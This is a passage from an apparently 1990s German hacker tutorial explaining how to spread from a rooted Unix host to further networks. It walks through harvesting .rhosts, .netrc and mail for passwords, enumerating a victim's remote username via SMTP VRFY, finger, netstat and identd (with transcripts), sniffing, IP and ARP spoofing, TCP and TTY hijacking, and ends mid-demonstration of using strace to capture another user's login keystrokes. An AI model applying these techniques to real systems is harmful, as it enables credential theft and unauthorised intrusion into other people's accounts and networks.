  429. <td>subscribe bugtraq&nbsp;</td>
  430. </tr>
  431. <tr>
  432. <td>&nbsp;<a href="mailto:majordomo@lists.gnac.net">majordomo@lists.gnac.net</a></td>
  433. <td></td>
  434. <td>subscribe firewalls&nbsp;</td>
  435. </tr>
  436. <tr>
  437. <td>&nbsp;<a href="mailto:fwall-users-request@tis.com">fwall-users-request@tis.com
  438. (???)</a></td>
  439. <td></td>
  440. <td>subscribe fwall-users&nbsp;</td>
  441. </tr>
  442. <tr>
  443. <td>&nbsp;<a href="mailto:majordomo@nsmx.rutgers.edu">majordomo@nsmx.rutgers.edu</a></td>
  444. <td></td>
  445. <td>subscribe www-security&nbsp;</td>
  446. </tr>
  447. </table></center>
  448. <p>Desweiteren kannst du einige Newsgroups mitlesen aber es ist viel Muell
  449. dabei und in den Hacker-Newsgroups ist schonmal garnichts zuholen.
  450. <p>Ok, gehen wir mal davon aus, dass du root Rechte hast. Eine Moeglichkeit
  451. um weitere Netze zu hacken besteht darin auf dem lokalen System nach Dateien
  452. wie <font color="#33FF33">.rhosts</font>, <font color="#33FF33">.netrc</font>
  453. und <font color="#33FF33">.forward</font> zu suchen; oder E-Mail nach Passworten
  454. (oder anderen interessanten Informationen) zu durchforsten. Um dir die
  455. Arbeit ueber 20.000 User zu checken (und beim Gebrauch von <i>NFS</i> noch
  456. zusaetzlich die UID zu wechseln) abzunehmen hab ich ein kleines Tool namens
  457. Searcher geschrieben.
  458. <br>Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest
  459. du gucken von welchen Hosts sie sich einloggen, dazu kannst du <b>last</b>,
  460. <b>w</b>
  461. oder aehnliches benutzen, du koenntest auch die Hosts aufs Korn nehmen
  462. in die sie sich einloggen, herausfinfen kannst du das z.B. mit <b>ps
  463. </b>(mit
  464. w-Option), <b>netstat</b>, oder du verifizierst die Mail-Aliases (<font color="#33FF33">/etc/aliases</font>)
  465. bzw. <font color="#33FF33">.forward</font> um zu sehen wohin ein User seine
  466. E-Mail umleitet.
  467. <br>Jetzt solltest du noch herausfinden welchen Usernamen er auf dem entfernten
  468. Host benutzt (in <font color="#33FF33">.forward</font> und in <font color="#33FF33">/etc/aliases</font>
  469. muss es angegeben werden; z.B. "remote-user@other-site.com"), dazu kannst
  470. du S<i>MTP</i> verwenden... Bsp.: User "victim" auf dem lokalen System
  471. (Realnamen: Hackers Victim) hat sich mit <b>telnet</b> auf dem Rechner
  472. "host.account.edu" eingeloggt.
  473. <pre>> telnet host.account.edu 25
  474. &lt; Trying 123.10.0.1...
  475. &lt; Connected to host.account.edu.
  476. &lt; Escape character is '^]'.
  477. &lt; 220-host.account.edu Sendmail 8.6.9/8.6.9 ready at Mon, 21 Jul 1997
  478. &lt; 16:19:56 +0200
  479. &lt; 220 ESMTP spoken here
  480. > vrfy victim
  481. &lt; 550 victim... User unknown
  482. > vrfy hvictim
  483. &lt; 250 Hackers Victim &lt;hvictim@host.account.edu>
  484. > quit
  485. &lt; 221 host.account.edu closing connection
  486. &lt; Connection closed by foreign host.</pre>
  487. Der User verwendet also auf beiden Hosts nicht den selben Usernamen, da
  488. das Kommando "vrfy victim" von <i>Sendmail</i> (weitverbreitetes E-Mail-Verteilungs
  489. Programm, das an Port 25 haengt) mit "550 victim... User unknown" beantwortet
  490. wird.
  491. <br>Jetzt kannst du einige Kombinationen (z.B. aus den Initialen des Users)
  492. ausprobieren... BINGO!... "hvictim" ist der Username, den "victim" auf
  493. "host.account.edu" benutzt.
  494. <br>Bei vielen Mailservern wurde das <b>vrfy</b> Kommando aus Sicherheitsgruenden
  495. abgeschaltet. Jetzt koenntest du nur noch versuchen den Usernamen zu erraten,
  496. indem du E-Mails an den Server schickst und die Error-Messages des Servers
  497. ueberpruefst, die du fuer nicht vorhandene User zurueck bekommst - dieses
  498. Verfahren ist nicht gerade sehr unauffaellig, also auch nicht zu empfehlen.
  499. <p>Du kannst auch noch <b>finger</b> (wird aber aus Sicherheitsgruenden
  500. haeufig nicht angeboten) oder aber <b>rusers </b>benutzen um alle eingeloggten
  501. User auf "host.account.edu" zu erfragen. Mit <b>finger</b> kannst du auch
  502. Loginnamen erraten, dafuer schreibst du einfach ein Shell-Script, das aus
  503. einem Dictionary bis zu n Woerter einliehst und en bloc an <b>fingerd</b>
  504. schickt.
  505. <p>Falls du keinen Erfolg haben solltest oder diese Dienste nicht angeboten
  506. werden bist du immer noch nicht verloren. Wenn der User gerade eingeloggt
  507. ist, dann rufe das Programm <b>netstat</b> (dient unter anderem zum Debuggen
  508. von Netzwerkproblemen) auf.
  509. <pre>> netstat
  510. &lt; Active Internet connections
  511. &lt; Proto&nbsp;&nbsp;&nbsp; Recv-Q Send-Q Local Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Foreign Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (State)
  512. &lt; User
  513. &lt; victim
  514. &lt; tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost:1032&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; host.account.edu:telnet&nbsp;&nbsp;&nbsp;&nbsp; ESTABLISHED
  515. &lt; root
  516. &lt; udp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost:3043&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *:*
  517. &lt; Active UNIX domain sockets
  518. &lt; Proto RefCnt&nbsp; Flags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Path
  519. &lt; unix&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ACC ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; LISTENING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /tmp/gpmctl
  520. &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/log
  521. &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED
  522. &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ACC ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; LISTENING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/printer
  523. &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/log
  524. &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED
  525. &lt; unix&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ACC ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; LISTENING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/log</pre>
  526. Die aktiven Unix Domain Sockets interessieren hier nicht; von Interesse
  527. ist nur...
  528. <pre>&lt; Active Internet connections
  529. &lt; Proto&nbsp;&nbsp;&nbsp; Recv-Q Send-Q&nbsp; Local Address&nbsp;&nbsp;&nbsp; Foreign Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (State)
  530. &lt; User
  531. &lt; victim
  532. &lt; tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost:1032&nbsp;&nbsp; host.account.edu:telnet&nbsp;&nbsp;&nbsp; ESTABLISHED</pre>
  533. ... hier kannst du sehen, dass der User "victim" eine Verbindung vom Port
  534. 1032 des lokalen Hosts zum Telnet-Port (23, siehe File <font color="#33FF33">/etc/services</font>)
  535. von "host.account.edu" (der Hostname wird bei Ueberlaenge abgeschnitten;
  536. du kannst dir mit der Option "-n" auch die IP-Adresse anzeigen lassen)
  537. aufgebaut hat. Jetzt weist du genug um ein kleines "Authentifikationsprogram"
  538. (<b>identd</b>) fuer deine Zwecke zu misbrauchen. Kurz was zur eigentlichen
  539. Verwendung von
  540. <table>
  541. <tr>
  542. <td><b>identd</b>:&nbsp;</td>
  543. <td><b>identd</b> wird von <b>V8 Sendmail</b> dazu benutzt um gefaelschte
  544. E-Mails zu entschaerfen, indem <b>sendmail identd</b> befragt welcher User
  545. gerade eine Verbindung zu ihm aufgebaut hat. (Das Format fuer <b>identd</b>:
  546. Server/Remote-Port, Client/Local-Port)&nbsp;</td>
  547. </tr>
  548. </table>
  549. Los geht's! Bau eine TCP Verbindung zum Port 113 (hier lauscht <b>identd</b>)
  550. von "host.account.edu" auf.
  551. <pre>> telnet host.account.edu 113
  552. &lt; Trying 127.0.0.1...
  553. &lt; Connected to host.account.edu.
  554. &lt; Escape character is '^]'.
  555. > 23, 1032
  556. &lt; 23 , 1032 : USERID : UNIX : hvictim
  557. > Connection closed by foreign host.</pre>
  558. Jupp, da is' es "hvictim".
  559. <p>Falls der Typ <b>rlogin</b> oder <b>rsh</b> benutzt, dann sieh' dir
  560. mal die Prozess-Liste an, <b>ps auw | grep victim</b> fuer BSD Derivate
  561. und <b>ps -ef | grep victim</b> fuer SysV (AT&amp;T) Unix. Von Interesse
  562. fuer uns ist hier die '-l' Option der Befehle, damit gibt man den Usernamen
  563. auf dem Remote Host an (dasselbe gilt auch fuer <i>SecureShell</i> - <b>ssh</b>).
  564. Wenn du zwar die eben genannten Client-Programme in der Prozessliste siehst,
  565. aber die '-l' Option fehlt, dann sind die Usernamen auf beiden Rechnern
  566. gleich.
  567. <p>Desweiteren kannst du, wenn du den Source Code von <b>telnet</b> bzw.
  568. <b>telnetd</b>
  569. fuer das OS des lokalen Rechners hast, den Code so veraendern, dass die
  570. Account Informationen fuer ausgehende bzw. eingehende Verbindungen aufgezeichnet
  571. werden.
  572. <p>Die effektivste und auch einfachste Methode ist einen <i>Ethernet-Sniffer</i>
  573. zu installieren. Der Sniffer setzt die Netzkarte in den <i>Promiscuous
  574. Mode</i> und kann so alle Pakete, die sich in seiner Collision Domain befinden,
  575. aufzeichnen. Am Besten siehst du dir mal den Code und die Docu.s von 'nem
  576. Sniffer an und spielst etwas damit herum.
  577. <br>Das Sniffen funktioniert nicht bei <i>ATM</i>- und bei <i>10BaseT</i>/<i>100BaseT</i>-Netzen
  578. (mit intelligentem Switch - naja, aber auch hier gibt es Mittel und Wege
  579. *evilG*)... und bei <i>FDDI</i>- und <i>Tokenring</i>-Netzen geht's nur
  580. teilweise.
  581. <p>Die Methode mit dem Sniffer ist eine passive Attacke. Aktive Angriffe
  582. wie <i>(Blind-) IP Spoofing</i>, <i>TCP Hijacking</i>... sind etwas komplizierter
  583. und ich werde sie hier nur kurz erleutern.
  584. <br>&nbsp;
  585. <table BORDER >
  586. <tr>
  587. <th>Methode&nbsp;</th>
  588. <th>Beschreibung&nbsp;</th>
  589. </tr>
  590. <tr>
  591. <td>Blind IP-Spoofing&nbsp;</td>
  592. <td>Hierbei benutzt man eine falsche IP Source Adresse und versucht eine
  593. TCP Verbindung aufzubauen.&nbsp;
  594. <br>Es wird der 'Trusted Host' Mechanismus der BSD &acute;r&acute;-Dienste
  595. (meistens <b>rlogind</b>) ausgenutzt, dieser 'Sicherheits'-Mechanismus
  596. erlaubt Zugriff anhand der IP Source Adresse, es wird kein Passwort benoetigt
  597. (sollte das Sniffen von Passwoertern verhindern).&nbsp;
  598. <br>Die grosse Kunst bei dieser Form der Attacke besteht darin die TCP
  599. Sequencenummer (s. RFC 793) richtig zu raten (da man die IP Src. gefaelscht
  600. hat bekommt man die TCP Seq# des entfernten Hosts nicht zu Gesicht; es
  601. sei denn, man benutzt die IP Src. Adresse eines Hosts, der sich in der
  602. selben Collision Domain befindet).&nbsp;
  603. <br>Bei alten Systemen ist das "Raten" relativ einfach (64K Rule) aber
  604. bei neuen Systemen ist es nahezu unmoeglich, da sie ihre TCP Seq# random
  605. (naja, haeufig ist der Algorithmus selten wirklich random, fuehrt hier
  606. aber mal wieder zu weit) erstellen.&nbsp;</td>
  607. </tr>
  608. <tr>
  609. <td>Non-Blind IP-Spoofing&nbsp;</td>
  610. <td>Der Vorteil dieser Attacke ist, dass man im Gegensatz zur 'blinden'
  611. Version die TCP Seq# und die Daten sieht. Ein wieterer Vorteil ist, dass
  612. mehrere Moeglichkeiten existieren.&nbsp;
  613. <ol>
  614. <li>
  615. IP Source Routing + Alias Interface</li>
  616. <br>Diese Methode is sehr einfach zu realisieren, es werden einfach alle
  617. Router, die das Packet passieren soll im IP Header als zusaetzliche Option
  618. angegeben...&nbsp;
  619. <br>Tja, aber das Dumme ist, dass der <b>rlogind </b>ueberprueft ob zusaetzliche
  620. Optionen im IP Header gesetzt sind, und wenn dem so ist, dann wird das
  621. Packet irgnoriert und eine Logmessage an <b>syslogd </b>uebergeben (jedenfalls
  622. wird es in der BSD Version gemacht und ich denke SysV macht es auch).&nbsp;
  623. <br>Zu allem Ueberfluss droppen mittlerweile die meisten Router IP Packets
  624. mit der Source-Routing Option.
  625. <li>
  626. Der gespoofte/zu attackierte Host befindet sich in der selben Collision
  627. Domain wie dein Host. Somit kannst du alle Packete sehen indem du deine
  628. Ethernetkarte in den Promisc. Mode schaltest (s. Sniffer).</li>
  629. <li>
  630. Du hast den ISP des Netzes gehackt, an dem der gespoofte/attackierte Host
  631. haengt. Es kann (generell) wie zuvor verfahren werden.&nbsp;</li>
  632. <li>
  633. Oder ARP Reply Spoofing ist sehr einfach und kompfortabel...&nbsp;</li>
  634. <br>Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte
  635. IP zu deiner Hardware/Ethernet-Adresse gehoert, indem du das IP/HW-Paar
  636. mit Hilfe einer ARP Message in seinem ARP Cache eintragen laesst.&nbsp;
  637. <br>Ist leider mal wieder nur auf Collision Domains beschraenkt.&nbsp;
  638. <li>
  639. Die Route zwischen gepsooftem Host und attackiertem Host geht ueber 'deinen'
  640. Router.</li>
  641. <br>Das Schoenste ist natuerlich, wenn der Router eine Unix-Maschine ist
  642. auf der du root-Rechte besitzt und die Route per default ueber deinen Router
  643. laeuft. Naja, meistens ist es keine Unix-Maschine sondern ein Cisco, 3Com,
  644. Ascend, Livingston PM oder sonstwas und du must die Route erst ueber &acute;deinen&acute;
  645. Router redirecten (spoofe EGP/RIP Messages, oder vielleicht (wenn 'dein'
  646. Netz und das zuattakierende Netz direkt am selben Backbone haengen) ICMP
  647. Redirect Messages)&nbsp;</ol>
  648. </td>
  649. </tr>
  650. <tr>
  651. <td>TCP Hijacking&nbsp;</td>
  652. <td>Hierbei geht es darum eine bestehende TCP-Verbindung zu uebernehmen
  653. .&nbsp;
  654. <br>Dabei ergibt sich das gleiche Problem wie beim Non-Blind IP-Spoofing:
  655. man muss irgendwie in die Route der beiden Rechner kommen um die TCP Seq#
  656. mitzulesen.&nbsp;
  657. <br>Wenn man die Verbindung uebernommen hat kann man z.B. Shell-Commands
  658. in den Datenstrom einfuehgen, die dann auf dem entfernten Host ausgefuehrt
  659. werden.&nbsp;</td>
  660. </tr>
  661. </table>
  662. <p>Bei den IP-Spoof Attacken, muss darauf geachtet werden, dass der Host,
  663. dessen IP Adresse man spooft, nicht auf die Pakete des gefoolten Hosts
  664. antworten kann (hierzu benutzt man eine <i>DoS (Denial-of-Service) Attacke</i>),
  665. denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da er nichts
  666. mit den empfangenden Paketen anfangen kann) wuerde den TCP Stack des attackierten
  667. Rechners dazu bringen die TCP Connection sofort zu beenden... und wer will
  668. das schon?
  669. <p>Drei "Sniffer"-Techniken erlauben es sogar verschluesselte Verbindungen
  670. (z.B. mit <i>SSH</i>) im Klartext aufzuzeichnen (bzw. Daten einzugeben).
  671. Dabei handelt es sich um <i>TTY-Hijacking,</i> <i>Process
  672. </i>(bzw.
  673. <i>Systemcall</i>)
  674. <i>Tracing
  675. </i>und
  676. die <i>Man-in-the-Middle (MIM) Attack</i>. Die ersten beiden Verfahren
  677. setzen den root Zugriff auf einem der Endsysteme voraus.
  678. <p>Beim <i>TTY-Hijacking </i>gibt es die verschiedensten Arten.
  679. <ul>
  680. <li>
  681. Ein einfacher 'ioctl()'-Aufruf (siehe dazu den Source Code von<b> </b><a href="http://www.thc.org">Smeagol
  682. (s. thc-uht1.tgz)</a> ) erlaubt es zeichenweise Daten in den TTY-Stream
  683. einzugeben (aber nicht auszulesen).</li>
  684. <br>Das Schoene an dieser Methode ist, dass man nicht unbedingt root-Rechte
  685. benoetigt. SEHR alte Systeme checken die Zugriffserlaubnis fuer Specialfiles
  686. anhand der r/w/x-Perms des Filesystems und nicht mit Hilfe des Kernels.
  687. SunOS hat einen Bug, der es erlaubt selbst non-root Usern einen Filedescriptor
  688. fuer Specialfiles zu erhalten.
  689. <li>
  690. Man kann die Shell eines Users durch einen <i>PTY</i>-Wrapper ersetzen
  691. (<i>PTY</i> = Pseudo-Terminal-Type), dadurch kann man alle Ein- und Ausgaben
  692. mitlesen.</li>
  693. <li>
  694. Einfuehgen von <i>LKM</i>s (Loadable Kernelmodules) erlaubt das Mitschneiden
  695. von Ein-/Ausgaben und die Eingabe von eigenen Daten durch veraendern von
  696. STREAMS</li>
  697. <li>
  698. Durch das Verbiegen von Systemcalls (aehnlich dem Verbiegen von DOS Interrupts
  699. in der Intr-Vektortabelle, aber wesentlich einfacher) koennen Eingaben
  700. aufgezeichnet werden.</li>
  701. </ul>
  702. Ok, kommen wir zum Tracen von Systemcalls.
  703. <br>Es wird eigentlich benutzt um Programme zu debuggen. Man kann den Aufruf
  704. von Systemcalls (und Signals) incl. Parametern verfolgen. Das coole ist,
  705. dass viele Unix-Derivate ueber dieses Feature und den entsprechenden Tools
  706. verfuehgen.
  707. <br>Unter Linux heisst dieses Programm <b>strace</b> (SunOS: <b>trace</b>,
  708. Solaris: <b>truss</b>, IRIX: <b>par</b>).
  709. <p>Ok, als erstes muessen wir uns ein Opfer aussuchen, d.h. die Shell eines
  710. Users (oder natuerlich auch eine bereits bestehende Verbindung mit <b>telnet</b>,
  711. <b>rlogin,
  712. ssh</b>...). Dazu benutzen wir <b>ps</b>.
  713. <pre>> ps
  714. &lt;&nbsp;&nbsp;&nbsp;&nbsp; PID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp;&nbsp; STAT&nbsp;&nbsp;&nbsp; TIME&nbsp;&nbsp;&nbsp; COMMAND
  715. &lt;&nbsp;&nbsp;&nbsp;&nbsp; 69&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v04&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; (agetty)
  716. &lt;&nbsp;&nbsp;&nbsp;&nbsp; 70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v05&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; (agetty)
  717. &lt;&nbsp;&nbsp;&nbsp;&nbsp; 257&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v06&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; (agetty)
  718. &lt;&nbsp;&nbsp;&nbsp;&nbsp; 599&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v02&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; -bash
  719. &lt;&nbsp;&nbsp;&nbsp;&nbsp; 707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v03&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; -bash
  720. &lt;&nbsp;&nbsp;&nbsp;&nbsp; 744&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v02&nbsp;&nbsp;&nbsp;&nbsp; R&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; ps</pre>
  721. So, wir nehmen uns mal die <b>bash</b> mit der PID 707 vor. Wir rufen <b>strace</b>
  722. mit der Option '-f' auf um auch die Child-Prozesse der <b>bash</b>, wie
  723. z.B. <b>telnet</b>, zutracen. Eine grosse Menge der Ausgaben von <b>strace</b>
  724. habe ich herausgeschnitten um die Lesbarkeit zu verbessern.
  725. <pre>> strace -f -p 707 2>&amp;1 | egrep "read|recv|write|send|exec|socket|connect"
  726. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Process 707 attached - interrupt to quit
  727. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "t", 1) = 1
  728. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "t", 1) = 1
  729. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "e", 1) = 1
  730. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "e", 1) = 1
  731. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "l", 1) = 1
  732. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "l", 1) = 1
  733. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "n", 1) = 1
  734. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "n", 1) = 1
  735. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "e", 1) = 1
  736. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "e", 1) = 1
  737. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "t", 1) = 1
  738. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "t", 1) = 1
  739. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, " ", 1) = 1
  740. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, " ", 1) = 1
  741. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "d", 1) = 1
  742. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "d", 1) = 1
  743. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "o", 1) = 1
  744. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "o", 1) = 1
  745. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "o", 1) = 1
  746. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "o", 1) = 1
  747. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "\r", 1) = 1
  748. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "\n", 1) = 1</pre>
  749. Hier koennen wir sehen wie der User <b>telnet doo</b> aufruft. Mit &acute;read(..)&acute;
  750. werden die Usereingaben gelesen und mit &acute;write(..)&acute; zum Terminal
  751. des Users geschrieben.
  752. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: execve("/bin/telnet", "telnet", "doo", env:["ignoreeof=10",&nbsp; [pid 772]:</pre>
  753. Hier sehen wir nochmal genauer welcher Child-Prozess aufgerufen wurde.
  754. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; socket(PF_INET, STREAM, IPPROTO_IP) = 3
  755. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: connect(3, AF_INET(23, 10.0.0.1), 16) = 0</pre>
  756. Der Socket wird erzeugt und die Verbindung (IP Adresse und Port sind gut
  757. sichtbar) wird aufgebaut.
  758. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "Connected to doo.the-haze.org.\n", 32) = 32
  759. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "Escape character is '^]'.\n", 26) = 26</pre>
  760. Der uebliche telnet-Kram wird dem User angezeigt.
  761. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49
  762. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46</pre>
  763. Das Welcome-Banner des Remote Hosts wird empfangen und an den User weitergegeben.
  764. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0) = 15
  765. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\ndoo login: ", 13) = 13</pre>
  766. Die Login-Aufforderung.
  767. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "t", 1024) = 1
  768. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "t", 1, 0) = 1
  769. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "t", 1024, 0) = 1
  770. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "t", 1) = 1</pre>
  771. Der ertse Buchstabe des Loginnamens wird eingelesen (&acute;read(..)&acute;),
  772. and den fernen Rechner gesendet (&acute;send(..)&acute;), das Echo empfangen
  773. (&acute;recv(..)&acute;) und zu dem User gegeben (&acute;write(..)&acute;).
  774. <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "i", 1024) = 1
  775. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "i", 1, 0) = 1
  776. &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "i", 1024, 0) = 1
